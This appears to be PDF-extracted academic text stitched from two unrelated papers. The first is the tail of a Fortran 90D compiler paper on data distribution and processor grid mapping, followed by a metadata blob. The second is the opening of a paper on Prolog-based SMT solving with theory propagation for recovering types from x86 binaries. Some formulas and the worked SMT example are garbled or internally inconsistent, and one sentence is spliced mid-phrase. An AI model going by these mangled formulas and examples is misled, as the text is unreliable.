Table 1: Data distribution function (refer to Definition 1): \( N \) is the size of global index. \( P \) is the number of processor. \( N \) and \( P \) is known at compile time and \( N \geq P \). \( I \) is the global index. \( i \) is the local index and \( p \) is the owner of that local index \( i \).
<table>
<thead>
<tr>
<th></th>
<th>Block1-distribution</th>
<th>Block2-distribution</th>
<th>Cyclic-distribution</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>global to proc</strong></td>
<td>( p = \frac{I \cdot P}{N} )</td>
<td>( p = \max(\lfloor \frac{I}{\frac{N}{P}} \rfloor + 1, \lfloor \frac{I-N \cdot \text{mod} P}{P} \rfloor) )</td>
<td>( p = I \text{ mod } P )</td>
</tr>
<tr>
<td><strong>global to local</strong></td>
<td>( i = I - \frac{p \cdot N}{P} )</td>
<td>( i = I - p \cdot \left\lfloor \frac{N}{P} \right\rfloor - \min(p, N \text{ mod } P) )</td>
<td>( i = \left\lfloor \frac{I}{P} \right\rfloor )</td>
</tr>
<tr>
<td><strong>local to global</strong></td>
<td>( I = i + \frac{p \cdot N}{P} )</td>
<td>( I = i + p \cdot \left\lfloor \frac{N}{P} \right\rfloor + \min(p, N \text{ mod } P) )</td>
<td>( I = iP + p )</td>
</tr>
<tr>
<td>cardinality</td>
<td>( \frac{N}{P} )</td>
<td>( \left\lfloor \frac{N+P-1-p}{P} \right\rfloor )</td>
<td>( \left\lfloor \frac{N+P-1-p}{P} \right\rfloor )</td>
</tr>
</tbody>
</table>
Table 2: BLOCK2 distribution of global index with different data sizes on 3 processors
<table>
<thead>
<tr>
<th>Data Size</th>
<th>Proc. 0</th>
<th>Proc. 1</th>
<th>Proc. 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>1:1</td>
<td>2:2</td>
<td>3:3</td>
</tr>
<tr>
<td>8</td>
<td>1:3</td>
<td>4:6</td>
<td>7:8</td>
</tr>
<tr>
<td>100</td>
<td>1:34</td>
<td>35:67</td>
<td>68:100</td>
</tr>
</tbody>
</table>
good static load balance, the locality is worse than that using block distributions because cyclic distributions scatter data.
The **IRREGULAR** attribute indicates that the required data distribution function will be provide by the user. The compiler generates in-line codes for the block and cyclic data distribution functions. But for irregular distributions, it calls the user-defined functions from inside the generated code. In generally, these functions are represented as arrays ("MAP" arrays) and return values from those arrays[1]. Note that the MAP arrays themselves can be distributed or replicated. For example, in PARTI developed by Joel Saltz [17], MAP arrays are distributed. In our current version, we had incorporated the schedule, gather and scatter primitives from PARTI, but we are only supporting replication of MAP arrays.
Table 3 shows the performance of computing the data distribution functions of Table 1 on an Intel i860 processor. As expected, the Cyclic distribution functions performs the best and the Block2 the worst.
<table>
<thead>
<tr>
<th>Usage of the data distribution functions</th>
<th>Block1-distribution</th>
<th>Block2-distribution</th>
<th>Cyclic-distribution</th>
</tr>
</thead>
<tbody>
<tr>
<td>global to proc</td>
<td>1.8</td>
<td>7.6</td>
<td>1.9</td>
</tr>
<tr>
<td>global to local</td>
<td>1.9</td>
<td>3.6</td>
<td>1.6</td>
</tr>
<tr>
<td>local to global</td>
<td>1.8</td>
<td>3.6</td>
<td>0.4</td>
</tr>
</tbody>
</table>
The following examples illustrate how the data distribution function can be used for various constructs. For these examples, the array A has the following alignment.
```plaintext
C$ DECOMPOSITION TEMPL(N,M)
C$ ALIGN A(I,J) WITH TEMPL(I,J)
C$ DISTRIBUTE TEMPL(CYCLIC,BLOCK1)
```
and TEMPL is distributed on a two-dimensional PxE processor grid.
**Example 1 (Masking)** Consider the statement
\[ A(5,8) = 99.0 \]
The owner processor of the array element \( A(5, 8) \) executes the statement. Since the compiler generates SPMD style code, it masks the rest of the processors:
\[
\begin{align*}
&\text{if } (5 \mod P = \text{my}_{\text{id}}(1) \\text{and} \ 8 \mod M = \text{my}_{\text{id}}(2)) \\
&\ A(5/P, 8 - \text{my}_{\text{id}}(2) \mod M/Q) = 99.0
\end{align*}
\]
Where \( \text{my}_{\text{id}}(1) \) and \( \text{my}_{\text{id}}(2) \) describes the processor's position in the two-dimensional logical grid. In this case, the compiler uses the global to processor and global to local functions for cyclic and block1 distributions. The processors are masked according to the coordinate id numbers since the logical processors are arranged in a grid topology.
**Example 2 (Grouping)** Consider the statement
\[
A(:, 8) = 99.0
\]
The group of processors owning the 8\(^{th}\) column of array \( A \) only need to execute the statement. The rest of the grid must be masked.
\[
\begin{align*}
&\text{do } i = \text{my}_{\text{id}}(1), N/P \\
&\quad \text{if } (8 \mod M = \text{my}_{\text{id}}(2)) \ A(i/P, 8 - \text{my}_{\text{id}}(2) \mod M/Q) = 99.0
\end{align*}
\]
Note that the iterations (indexed by \( i \) above) are distributed cyclicly following the owner computes rule.
**Example 3 (Forall)** Consider the statement
\[
\text{forall}(i=1:N, j=1:M) \ A(i, j) = j
\]
In the above computations, all elements of each column of array \( A \) are assigned the corresponding column number (in the global index domain).
\[
\begin{align*}
&\text{do } i = \text{my}_{\text{id}}(1), N/P \\
&\quad \text{do } j = 1, M/Q \\
&\quad \quad A(i/P, j) = j + \text{my}_{\text{id}}(2) \mod M/P \\
&\quad \text{end do}
\end{align*}
\]
The compiler distributes the iterations \( i \) and \( j \) in cyclic and block fashion respectively since array \( A \) is distributed in that fashion. Iteration index \( j \) is localized. The compiler transforms \( j \) back to global index by using local to global index conversion in \( rhs \) expression.
**Example 4 (Broadcast)** Consider the statement
where $x$ is a scalar variable (scalars are replicated on all processors). The above statement causes a broadcast communication. The source processor of the broadcast is found by using a global to processor function similar to that in example 1.
**Example 5 (Gather)** Consider the statement
$$B = A(U, V)$$
where $U$ and $V$ are one-dimensional replicated arrays. $B$ is a two-dimensional array and is distributed in the same way as is array $A$. This vector-valued assignment causes an unstructured communication (also called *gather* [17] or *random-read* [18] in this case). The owner processors of array $B$ needs some values of array $A$ depending on the contents of arrays $U$ and $V$ at run-time. The compiler makes each owner processor of the array $B$ calculate which processor has the non-local part of the array $A$ by using global to processor function. The compiler also generates code that computes the local index in the array $A$ using the global to local index conversion function for each source processor. After making each processor calculate the local list and the processor list, the compiler generates the statement to call gather collective communication.
**Example 6 (Scatter)** Consider the statement
$$A(U, V) = B$$
The above statement causes *scatter* or *random-write* kind of communication. Again the compiler generates code such that each owner processor of the array $B$ uses data distribution functions to find the destination of the local array $B$.
### 6 Grid Mapping Functions (Stage 3)
So far we have presented techniques used in our compiler that map data onto logical processors. In this section we describe the mapping of logical processors onto physical processors.
There are several advantages of decoupling logical processors from physical system configurations. These advantages include *locality*, *portability* and *grouping*.
**Locality:** Multiple accesses to consecutive memory locations is called *spatial locality*. *Spatial locality* is very important for Distributed Memory Machines. Arrays representing spatial locations
$$x = A(5, 8)$$
Figure 7: **Logical processor topologies**
are distributed across the parallel computer. For instance, it makes sense to have data distributed in such a way that processors that need to communicate frequently are neighbors in the hardware topology. It has been shown that this is extremely important in the common regular problems in scientific applications such as relaxation [13]. Our template is a d-dimensional mesh. If this template is BLOCK distributed on a d-dimension grid of processors, the neighboring array elements (spatial locality) will be in the neighboring processors. The grid topology is a very good topology for spatial locality. Fortran 90D makes logical processor topology grid according to the number of dimensions of the template as shown in Figure 7.
**Portability:** The physical topology of the system may be a grid, tree, hypercube etc. The mapping for the best (possible) grid topology changes from one physical topology to another. To enhance portability of our compiler, we separate the physical and logical topologies. Therefore, porting the compiler from one hardware platform to another involves changing the functions that map the logical grid topology to the target hardware.
**Grouping:** Operations on a subset of dimensions in arrays are very common in scientific programming, e.g., row and column operations on matrices. Fortran 90 provides intrinsic functions such as `SPREAD`, `SUM`, `MAXVAL` and `CSHIFT` that let a user to specify operations along different dimensions by specifying the `DIM` parameter. These dimensional operations conceptually group elements in the same dimension. The dimensional array operations result in “dimensional array communications”. We have designed a set of collective communication routines that operate along one or more dimensions (groups of processors) of the grid. For example, we have developed spread (broadcast along dimension), shift along dimensions and concatenate communications. The usage of these primitives is discussed in [11].
The performance of the resulting code may be adversely affected if the logical grid to physical system mapping is not efficient. Therefore, one of the goals of these mapping functions is to map nearby processors in the logical grid to physically close processors in the machine architecture.
**Definition 2:** A logical processor grid consists of $d$ dimensions, $(P_0, P_1, \ldots, P_i, \ldots, P_{d-1})$, where $P_i$, $0 \leq i < d$ is the size of the $i$th dimension. A processor grid mapping function, $\varphi$, maps a processor index in the $d$-dimensional space, $\varphi(v_0, v_1, \ldots, v_{d-1}) \rightarrow p$ where $0 \leq v_i < P_i$ (i.e., $v_i$ is the index of the logical processor in the $i$th dimension), and $p$ is the physical processor number, $(0 \leq p < \prod_{i=0}^{d-1} P_i)$. The inverse mapping function $\varphi^{-1}(p) \rightarrow (v_0, v_1, \ldots, v_{d-1})$ transform the processor number $p$ back into logical grid number.
The grid mapping function $\varphi$ and $\varphi^{-1}$ for hypercube using Gray Code can be found in [13]. The grid mapping onto a fat tree can be found in [19].
Figure 8 gives some of grid mapping function implemented in our compiler. The first routine, `gridinit`, takes the dimensionality of the grid, $dim$, and the number of physical processors in each dimension as an array, $num$ and performs the necessary initializations in order to use the other two grid mapping functions $\varphi$ and $\varphi^{-1}$. The routine `gridcoord` implements the function $\varphi$ to generate the physical processor number corresponding to the logical processor grid specified in the parameter array “coord(*).” Similarly, the routine `gridproc` implements the function $\varphi^{-1}$. Its input parameter “proc” specifies the physical processor id and its output is the corresponding index in the logical grid which is stored in the array “coord(*)”. The details of these functions can be found in[13].
The usage of these function is to enhance portability. The compiler generates all the communication calls based on the logical coordinates of the processors. The communication routines in turn use the above functions to compute the physical processor ids of involved processors. Another important point to note is that by using the logical grid at compiler level, masking and grouping
are performed by using logical grid coordinates.
7 Discussion
Although this paper is focused on the partitioning module of the compiler, a prototype compiler is complete (it was demonstrated at Supercomputing’92). In this section, we describe our experience on using our compiler.
7.1 Portability of the Fortran 90D Compiler
One of the principal requirements of the users of distributed memory MIMD systems is some “guarantee” of the portability for their code. This was realized early on by the Caltech Concurrent Computation Group led by Geoffrey Fox. Parasoft’s Express parallel programming environment represents a commercialization of these ideas. One feature of Express is the portability on various platforms including, Intel iPSC/860, nCUBE/2, networks of workstations etc. We should emphasize that we have implemented a collective communication library which is currently built on the top of Express message passing primitives. Hence, in order to change to any other message passing system such as PVM [20] (which also runs on several platforms), we only need to replace the calls to the communication primitives in our communication library (not the compiler). However, it should be noted that a penalty must be paid to achieve portability because portable routines are normally built on top of the system routines.
As a test application we use is Gaussian Elimination, which is a part of the FortranD/HPF benchmark test suite [21]. Figure 9 shows the execution times obtained to run the same compiler generated code on a 16-node Intel/860 and nCUBE/2 for various problem sizes.
7.2 Performance Evaluation
Table 4 shows a comparison between the performance of the hand-written Fortran 77+MP code with that of the compiler generated code. We can observe that the performance of the compiler generated is within 10% of the hand-written code. This is due to the fact that the compiler generated code produces an extra communication call that can be eliminated using optimizations. However as Figure 10 shows, the gap between the performance of the two codes increases as the number of processors increases. This is because the extra communication step is a broadcast which
Figure 9: Execution time of Fortran 90D compiler generated code for Gaussian Elimination on a 16-node Intel iPSC/860 and nCUBE/2 (time in seconds).
is almost $O(\log(P))$ for a $P$ processor hypercube system. We are currently incorporating several optimizations in the compiler.
7.3 An Experiment with Distributions
A data distribution that minimizes the communication requirements for one application does not necessarily do the same for another applications since different applications may have different reference patterns.
An advantage of being able to specify different distribution directives is the ability to experiment with various distributions without extensive recoding. Hence, with a few experiments a user can choose one of the best distributions for his/her application. We illustrate the above using an example of 1-D FFT.
FFT is a difficult algorithm to compile efficiently because of the butterfly communication requirements for an efficient implementation. Automatic recognition of such patterns is difficult. Our compiler uses unstructured communication to implement such communication patterns.
We use FFT to illustrate the difference in performance when data distribution is changed.
Table 4: Comparison of the execution times of the hand-written code and Fortran 90D compiler generated code for Gaussian Elimination. Matrix size is 1023x1024 and it is column distributed. (Intel iPSC/860, time in seconds).
<table>
<thead>
<tr>
<th>Processors</th>
<th>Hand Written</th>
<th>Fortran 90D Compiler</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>623.16</td>
<td>618.79</td>
</tr>
<tr>
<td>2</td>
<td>446.60</td>
<td>451.93</td>
</tr>
<tr>
<td>4</td>
<td>235.37</td>
<td>261.87</td>
</tr>
<tr>
<td>8</td>
<td>134.89</td>
<td>147.25</td>
</tr>
<tr>
<td>16</td>
<td>79.48</td>
<td>87.44</td>
</tr>
</tbody>
</table>
Figure 10: Speed-up comparison (corresponds to Table 4 of the hand-written code and Fortran 90D compiler generated code for Gaussian Elimination.)
Figure 11: Comparison of Fortran 90D compiler generated BLOCK and CYCLIC distribution of 1-Dimensional FFT codes on a 16 node Intel iPSC/860 (time in seconds).
Figure 11 shows the performance of the FFT for block (block1) and cyclic distributions. Cyclic distribution performs better due to two main reasons. One, it cyclicly distributes data, and hence, far off elements are stored in closer processors. This reduces the communication requirements compared to that when block distribution is used [22]. Second, for unstructured communication, the destination processors and locations must be calculated using the distribution functions (see Section 5). The overhead of computing these functions is the least for cyclic distribution (see Table 3) resulting in less overhead in the generated FFT code.
8 Summary of Related Work
The compilation technique of Fortran 77 for distributed memory systems has been addressed by Callahan and Kennedy [23]. Currently, a Fortran 77D compiler is being developed at Rice [24]. Superb [25] compiles a Fortran 77 program into a semantically equivalent parallel SUPRENUM multiprocessor. Kali [26] implementation puts a great deal of effort on run-time analysis for optimizing message passing. Quinn et al. [18] uses a data parallel approach for compiling C* to hypercube machines. The ADAPT system [27] compiles Fortran 90 for execution on MIMD distributed mem-
ory architectures. The ADAPTOR[28] is a tool that transform data parallel programs written in Fortran with array extension and layout directives to explicit message passing. Chen[29] describes a general compiler optimization techniques that reduces communication overhead for Fortran-90 implementation on massively parallel machines.
Due to space limitations, we do not elaborate on various related projects.
9 Conclusions
In this paper we presented a design of a prototype Fortran 90D compiler. Specifically, we presented in detail how the data distribution directives can be processed and what are the design choices for the data partitioning modules. The compiler prototype is working although new features are being added continuously. We also presented the performance of the code generated by the compiler for two applications. We believe that the performance will improve as optimizations are incorporated in the compiler. We showed that our design produces portable, yet an efficient code.
This design can be used by compiler developers for High-Performance Fortran (HPF). The only change required to process the data distribution directives is to change the syntax of the directives to that of HPF syntax. We are currently implementing that change. We believe that our design of the data partitioning module (DPM) can be used by implementors of HPF compiler to implement the DPM in their compiler.
We are currently investigating various optimization techniques for computation partitioning and communication detection. Furthermore, we are investigating automatic data partitioning and alignment techniques. Note that it is important to implement these techniques for temporary arrays even if the distributions are specified for the source arrays. Finally, we are currently involved in implementing dynamic alignment and redistribution of arrays in our compiler.
Acknowledgments
We would like to thank the other members of our compiler research group R. Bordawekar, R. Ponnusamy, R. Thakur, and J. C. Wang for their contribution in the project including the development of the run-time library functions, testing, and help with programming. We would also like to thank Min-You Wu of SUNY, Buffalo for his contributions.
References
|
{"Source-Url": "https://surface.syr.edu/cgi/viewcontent.cgi?article=1093&context=npac", "len_cl100k_base": 10276, "olmocr-version": "0.1.50", "pdf-total-pages": 26, "total-fallback-pages": 0, "total-input-tokens": 62371, "total-output-tokens": 13083, "length": "2e13", "weborganizer": {"__label__adult": 0.0003559589385986328, "__label__art_design": 0.0004112720489501953, "__label__crime_law": 0.00030994415283203125, "__label__education_jobs": 0.0009565353393554688, "__label__entertainment": 9.948015213012697e-05, "__label__fashion_beauty": 0.0001977682113647461, "__label__finance_business": 0.0002892017364501953, "__label__food_dining": 0.0004215240478515625, "__label__games": 0.0007238388061523438, "__label__hardware": 0.003936767578125, "__label__health": 0.0006532669067382812, "__label__history": 0.0004248619079589844, "__label__home_hobbies": 0.00014925003051757812, "__label__industrial": 0.0010595321655273438, "__label__literature": 0.0002448558807373047, "__label__politics": 0.0003352165222167969, "__label__religion": 0.00072479248046875, "__label__science_tech": 0.2073974609375, "__label__social_life": 8.946657180786133e-05, "__label__software": 0.01221466064453125, "__label__software_dev": 0.767578125, "__label__sports_fitness": 0.0004298686981201172, "__label__transportation": 0.0008783340454101562, "__label__travel": 0.00027298927307128906}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 48199, 0.03366]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 48199, 0.64701]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 48199, 0.81304]], "google_gemma-3-12b-it_contains_pii": [[0, 663, false], [663, 2413, null], [2413, 5327, null], [5327, 6351, null], [6351, 8373, null], [8373, 8606, null], [8606, 11057, null], [11057, 13103, null], [13103, 15210, null], [15210, 16371, null], [16371, 18182, null], [18182, 20248, null], [20248, 22991, null], [22991, 24513, null], [24513, 26534, null], [26534, 28617, null], [28617, 30720, null], [30720, 32741, null], [32741, 35079, null], [35079, 37266, null], [37266, 38479, null], [38479, 39223, null], [39223, 40622, null], [40622, 42857, null], [42857, 45789, null], [45789, 48199, null]], "google_gemma-3-12b-it_is_public_document": [[0, 663, true], [663, 2413, null], [2413, 5327, null], [5327, 6351, null], [6351, 8373, null], [8373, 8606, null], [8606, 11057, null], [11057, 13103, null], [13103, 15210, null], [15210, 16371, null], [16371, 18182, null], [18182, 20248, null], [20248, 22991, null], [22991, 24513, null], [24513, 26534, null], [26534, 28617, null], [28617, 30720, null], [30720, 32741, null], [32741, 35079, null], [35079, 37266, null], [37266, 38479, null], [38479, 39223, null], [39223, 40622, null], [40622, 42857, null], [42857, 45789, null], [45789, 48199, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 48199, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 48199, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 48199, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 48199, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 48199, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 48199, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 48199, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 48199, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 48199, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 48199, null]], "pdf_page_numbers": [[0, 663, 1], [663, 2413, 2], [2413, 5327, 3], [5327, 6351, 4], [6351, 8373, 5], [8373, 8606, 6], [8606, 11057, 7], [11057, 13103, 8], [13103, 15210, 9], [15210, 16371, 10], [16371, 18182, 11], [18182, 20248, 12], [20248, 22991, 13], [22991, 24513, 14], [24513, 26534, 15], [26534, 28617, 16], [28617, 30720, 17], [30720, 32741, 18], [32741, 35079, 19], [35079, 37266, 20], [37266, 38479, 21], [38479, 39223, 22], [39223, 40622, 23], [40622, 42857, 24], [42857, 45789, 25], [45789, 48199, 26]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 48199, 0.07492]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
79b7ca64fa014ed8d87bc9ab33f3f62d285616c7
|
This is the unspecified version of the paper.
This version of the publication may differ from the final published version.
Permanent repository link: http://openaccess.city.ac.uk/3872/
Link to published version:
Copyright and reuse: City Research Online aims to make research outputs of City, University of London available to a wider audience. Copyright and Moral Rights remain with the author(s) and/or copyright holders. URLs from City Research Online may be freely distributed and linked to.
ABSTRACT
SAT Modulo Theories (SMT) is the problem of determining the satisfiability of a formula in which constraints, drawn from a given constraint theory $T$, are composed with logical connectives. The DPLL($T$) approach to SMT has risen to prominence as a technique for solving these quantifier-free problems. The key idea in DPLL($T$) is to closely couple unit propagation in the propositional part of the problem with theory propagation in the constraint component. In this paper it is demonstrated how reification provides a natural way for orchestrating this in the setting of logic programming. This allows an elegant implementation of DPLL($T$) solvers in Prolog. The work is motivated by a problem in reverse engineering, that of type recovery from binaries. The solution to this problem requires an SMT solver where the theory is that of rational-tree constraints, a theory not supported in off-the-shelf SMT solvers, but realised as unification in many Prolog systems. The solver is benchmarked against a number of type recovery problems, and compared against a lazy-basic SMT solver built on PicoSAT.
Categories and Subject Descriptors
[Software notations and tools]: Constraint and logic languages; [Software and application security]: Software reverse engineering; [Semantics and reasoning]: Program analysis
General Terms
Theory of Computation, Software and its Engineering
Keywords
SAT solving, reverse engineering
1. INTRODUCTION
DPLL-based SAT solvers have advanced to the point where they can rapidly decide the satisfiability of structured problems that involve thousands of variables. SAT Modulo Theories (SMT) seeks to extend these ideas beyond propositional formulae to formulae that are constructed from logical connectives that combine constraints drawn from a given underlying theory. This section introduces the motivating problem of type recovery and explains why it leads to work on theory propagation in a Prolog SMT solver.
1.1 Type recovery with SMT
The current work is motived by reverse engineering and the problem of type recovery from binaries. Reversing executable code is of increasing relevance for a range of applications:
- Exposing flaws and vulnerabilities in commercial software, especially prior to deployment in government or industry [9, 13];
- Reuse of legacy software without source code for guaranteed compliance with hardware IO and/or timing behaviour, for example, for hardware drivers [7] or control systems [4];
- Understanding the operation of, and threat posed by, viruses and other malicious code by anti-virus companies [40].
An important problem in reverse engineering is that of type recovery [35]. A fragment of binary code will almost certainly have multiple source code equivalents, will contain a variety of complex addressing schemes, and during compilation will have lost most, if not all, of the type information explicit in the original source code. Additionally, container-like entities, analogous to high level source code variables and objects, cannot be readily extracted from binary code. The recovery of variables and their types is an essential component of reverse engineering, which makes understanding the semantics of the program considerably easier.
This paper observes that type recovery can be formulated as an SMT problem over rational-trees, a theory that in the context of type checking is referred to as circular unification [31]. Circular unification allows recursive types to be discovered in which a type variable can be unified with a term containing it. The use of rational-trees for type inference is not a new idea [31], but its application to the recovery recursive types from an executable is far from straightforward because each instruction can be assigned many different types. Many SMT solvers include the theory of equality logic over uninterpreted functors [24, 37] which is strictly weaker than circular unification and cannot capture recursive types. Unfortunately the theory of rational-trees is not
currently supported in any off-the-shelf SMT solver, hence this investigation into how to prototype a solver.
1.2 SMT solving with lazy-basic
One straightforward approach to SMT solving is to apply the so-called lazy-basic technique which decouples SAT solving from theory solving. To illustrate, consider the SAT formula $f = (x \leq -1) \land (y \leq 1) \land (\neg z)$ and the propositional formula $g = (p \lor q) \land (r \lor s)$ that corresponds to its propositional skeleton. In the skeleton, the propositional variables $p$, $q$, $r$, and $s$ respectively, indicate whether the theory constraints $(x \leq -1)$, $(y \leq 1)$, and $(\neg z)$ hold. In this approach, a model is found for $(p \lor q) \land (r \lor s)$, for instance, $\{p \rightarrow true, q \rightarrow false, r \rightarrow true, s \rightarrow false\}$. Then, from the model, a conjunction of theory constraints $(x \leq -1)$ and $(y \leq 1)$ is constructed, with the polarity of the constraints reflecting the truth assignment. This conjunction is then tested for satisfiability in the theory component. In this case it is unsatisfiable, which triggers a diagnostic stage. This amounts to finding a conjunct, in this case $(x \leq -1)$ and $(y \leq 1)$, which is also unsatisfiable, that identifies a source of the inconsistency. Then, solving the augmented propositional formula $g'$ might, for example, yield the model $\{p \rightarrow false, q \rightarrow true, r \rightarrow true, s \rightarrow true\}$, from which a second clause $(\neg r \lor \neg s)$ is added to $g'$. Any model subsequently found, for instance, $\{p \rightarrow false, q \rightarrow false, r \rightarrow true, s \rightarrow true\}$, will give a conjunct that is satisfiable in the theory component, thereby solving the SAT problem.
The lazy-basic approach is particularly attractive when combining an existing SAT solver with an existing decision procedure, for instance, a solver provided by a constraint library. By using a foreign language interface a SAT solver can be invoked from Prolog [8] and a constraint library can be used to check satisfiability of the conjunction of theory constraints. A layer of code can then be added to diagnose the source of any inconsistency. This provides a simple way to construct an SMT solver that compares very favourably with the coding effort required to integrate a new theory into an existing open source SAT solver. The latter is normally a major undertaking and can only be achieved in conjunction with the expert who is responsible for maintaining the solver. Furthermore, few open source solvers are actively maintained. Thus, although one might expect implementing a new theory to be merely an engineering task, it is actually far from straightforward.
Prolog has rich support for implementing decision procedures for theories, for instance, attributed variables [14, 15]. (Attributed variables provide an interface between Prolog and a constraint solver by permitting logical variables to be associated with state, for instance, the range of values that a variable can possibly assume.) Several theories come prepackaged with many Prolog systems. This raises the questions of how to best integrate a theory solver with a SAT solver, and how powerful an SMT solver written in a declarative language can actually be. This motivates further study of the coupling between the theory and the propositional component of the SAT solver which goes beyond the lazy-basic approach, to the roots of logic programming itself.
The equation Algorithm = Logic + Control [26] expresses the idea that in logic programming algorithm design can be decoupled into two separate steps: specifying the logic of the problem, classically as Horn clauses, and orchestrating control of the sub-goals. The problem of satisfying a SAT formula is conceptually one of synchronising activity between a collection of processes where each process checks the satisfiability of a single clause. Therefore it is perhaps no surprise that control primitives such as delay declarations [36] can be used to succinctly specify the watched literal technique [34]. In this technique, a process is set up to monitor two variables of each clause. To illustrate, consider the clause $(x \lor y \lor \neg z)$. The process for this clause will suspend on two of its variables, say $x$ and $y$, until one of them is bound to a truth-value. Suppose $x$ is bound. If $x$ is bound to true then the clause is satisfied, and the process terminates; if $x$ is bound to false, then the process suspends until either $y$ or $z$ is bound. Suppose $z$ is subsequently bound, either by another process or by labelling. If $z$ is true then $y$ is bound to true since otherwise the clause is not satisfied; if $z$ is false then the clause is satisfied and the process closes down without inferring any value for $y$. Note that in these steps the process only waits on two variables at any one time. Unit propagation is at the heart of SAT solving and when implemented by watched literals combined with backtracking, the resulting solver is efficient enough to solve some non-trivial propositional formulae [16, 17, 19]. In addition to issues of performance the correctness of this approach has been examined [12]. To summarise, Prolog not only provides constraint libraries, but also the facility to implement a succinct SAT solver [19]. The resulting solver can be regarded as a glass box, as opposed to a black one, which allows a solver to be extended to support, among other things, new theories and theory propagation.
1.3 SMT solving with theory propagation
The lazy-basic approach to SMT alternates between SAT solving and checking whether a conjunction of theory constraints is satisfiable which, though having conceptual and implementation advantages, is potentially inefficient. With a glass box solver it is possible to refine this interaction by applying theory propagation. In theory propagation, the SAT solving and theory checking are interleaved. The solver not only checks the satisfiability of a conjunction of theory constraints, but decides whether a conjunction of some constraints entails or disentails others. Returning to the earlier example, observe that $(x \leq -1) \land (\neg x \leq -1)$ is unsatisfiable, hence the partial assignment $\{p \rightarrow true\}$ it follows that $(x \leq -1)$ holds in the theory component, therefore $(-x \leq -1)$ is disentailed and the assignment can be extended to $\{p \rightarrow true, q \rightarrow false\}$. Theory propagation is essentially the coordination problem of scheduling unit propagation with the simultaneous checking of whether theory constraints are entailed or disentailed. This paper shows how this synchronisation can be realised straightforwardly in Prolog, again using control primitives. The resulting solver is capable of solving some non-trivial problems and outperforms an SMT solver constructed from PicoSAT [3] and a Prolog coded theory solver using the lazy-basic approach.
1.4 Contributions
This paper shows how to integrate theory propagation and unit propagation in Prolog using reification and thereby realise an SMT solver in Prolog which can solve type recovery
problems. Reification is a constraint handling mechanism in which a constraint is augmented with a boolean variable that indicates whether the constraint is entailed (implied by the store) or disentailed (is inconsistent with the store). Building on this mechanism, the paper makes the following contributions:
- A framework for using reification as a mechanism to realise theory propagation is presented. The idea is simple in hindsight and can be realised straightforwardly in Prolog. The simplicity of the code contrasts with the investment required to integrate a theory into an existing open source SMT solver.
- This framework is realised for two theories. The first theory is that of rational-trees [32], where the control provided by block and when-declarations can realise reification. Efficient rational-tree unification [21] is integral to many Prolog systems, hence the theory part of the solver is provided essentially for free. The second theory is that of quantifier-free linear arithmetic, where CLP(R) provides a decision procedure for the theory part of the solver; reification is achieved using a combination of delay declarations and entailment checking.
- Theory propagation for rational-trees provides the key motivation for the paper. Standard SMT packages do not include the theory of rational-trees, but SMT problems over rational-trees arise in reverse engineering, in particular type recovery. It is demonstrated that an elegant Prolog-based solver is capable of recovering types for a range of binaries. It is also shown how the failed literal technique [29] is simply realised in Prolog to optimise the search. The solver is benchmarked on these type recovery problems and also compared against an SMT solver constructed from PicoSAT using the lazy-basic approach.
- Cutting through all of these contributions, the paper also argues that SMT has a role in type recovery, indeed an SMT formula is a natural medium for expressing the disjunctive nature of the types that arise in reverse engineering.
2. MOTIVATION: APPLICATION IN TYPE RECOVERY
During compilation code is translated to low level operations on registers and memory addresses, and all type information is lost. When source code is not available, type information is of great use to reverse engineers in determining the operation of a program, and tooling for recovering of high level types is of significant utility. The problem is hard, since the typing of most assembly instructions can be interpreted in multiple ways, and progress on the problem has been comparatively slow [2, 6, 28, 30, 35, 39], stopping short of recovering recursive types.
Consider the problem of inferring types for the registers in the following x86 assembly code function for summing the short of recovering recursive types.
```assembly
1 mov edx, [esp+0x4]
2 mov eax, 0x0
3 loop: test edx, edx
4 jz end
5 add eax, [edx]
6 mov edx, [edx+0x4]
7 jmp loop
8 end: ret
```
The function is simple: first `edx` is set to point at the first list item (from the argument carried at `[esp + 0x4]`) and `eax`, the accumulator, is initialised to 0 (lines 1 and 2). In the loop body the value of the item is added to `eax` (line 5) and `edx` is set to point to the next item by dereferencing the `next` field from `[edx + 0x4]` (line 6). This repeats until a NULL pointer is found by the test on line 3, whereupon execution jumps to `end` and the function returns.
Before typing the function, indirect addressing is simplified by introducing new operations on fresh intermediate variables. This reduction ensures that indirect addressing only ever occurs on `mov` instructions, thus simplifies the constraints on all other instructions. Registers are then broken into live ranges by transforming into Single Static Assignment (SSA) form. This gives each variable a new index whenever it is written to, and joins variables at control flow merge points with φ functions [10]. The listing below shows the result of applying these transformations:
```assembly
1 mov A1 , esp0
2 add A2 , 0x4
3 mov edx1 , [A2]
4 mov eax1 , 0x0
5 loop: mov (eax2, edx2),
6 φ((eax1, edx1), (eax3, edx3))
7 test edx2, edx2
8 jz end
9 mov B1 , [edx2]
10 add eax3 , B1
11 mov C1 , edx2
12 add C2 , 0x4
13 mov edx3 , [C2]
14 jmp loop
15 end: ret
```
